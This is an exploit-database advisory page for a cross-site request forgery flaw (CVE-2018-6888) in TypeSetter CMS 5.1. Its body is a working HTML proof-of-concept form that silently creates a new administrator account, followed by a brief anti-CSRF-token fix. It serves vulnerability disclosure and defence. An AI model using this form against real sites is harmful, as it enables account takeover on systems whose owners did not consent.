TypeSetter CMS 5.1 - Cross-Site Request Forgery

🗓️ 13 Feb 2018 00:00:00Reported by Navina AsraniType

TypeSetter CMS 5.1 CSRF vulnerability, allows malicious HTTP requests leading to account takeover or command executio

Reporter	Title	Published	Views	Family All 9
zdt	TypeSetter CMS 5.1 - Cross-Site Request Forgery Vulnerability	13 Feb 201800:00	–	zdt
CNVD	Typesetter Cross-Site Request Forgery Vulnerability	12 Feb 201800:00	–	cnvd
CVE	CVE-2018-6888	12 Feb 201803:00	–	cve
Cvelist	CVE-2018-6888	12 Feb 201803:00	–	cvelist
EUVD	EUVD-2018-18633	7 Oct 202500:30	–	euvd
NVD	CVE-2018-6888	12 Feb 201803:29	–	nvd
OSV	CVE-2018-6888	12 Feb 201803:29	–	osv
Packet Storm	TypeSetter CMS 5.1 Cross Site Request Forgery	14 Feb 201800:00	–	packetstorm
Prion	Cross site request forgery (csrf)	12 Feb 201803:29	–	prion

# Exploit Title: TypeSetter CMS 5.1 Cross Site Request Forgery
# Date: 10-02-2018
# Exploit Author: Navina Asrani
# Contact: https://twitter.com/NavinaSanjay
# Website: https://securitywarrior9.blogspot.in/
# Vendor Homepage: https://www.typesettercms.com/
# Version: 5.1
# CVE : NA
# Category: Webapp CMS

1. Description

The application allows malcious HTTP requests to be directly executed without any hidden security token.This may lead to user account takeover or malious command execution

2. Proof of Concept

Exploit code:

<html>
  <body>
    <form action="http://localhost/cms/Admin/Users" method="POST">
      <input type="hidden" name="verified" value="475f10871b08f44c20dab5bc2cb55d17946e6c98fa8abf28c64a5a9dab0ee2e122fefcc29cae9cc2e48daf564bfe55665e26b2b2174dee14e83c5e6974cf3218" />
      <input type="hidden" name="username" value="samrat&#95;test" />
      <input type="hidden" name="password" value="sam9318" />
      <input type="hidden" name="password1" value="sam9318" />
      <input type="hidden" name="algo" value="password&#95;hash" />
      <input type="hidden" name="email" value="sam9318&#64;gmail&#46;com" />
      <input type="hidden" name="grant&#95;all" value="all" />
      <input type="hidden" name="cmd" value="newuser" />
      <input type="hidden" name="aaa" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>



3. Solution:

To Mitigate CSRF vulnerability, it is recommeded to enforce security tokens such as anti csrf tokens

13 Feb 2018 00:00Current

7.7High risk

Vulners AI Score7.7

CVSS 26

CVSS 38

EPSS0.01926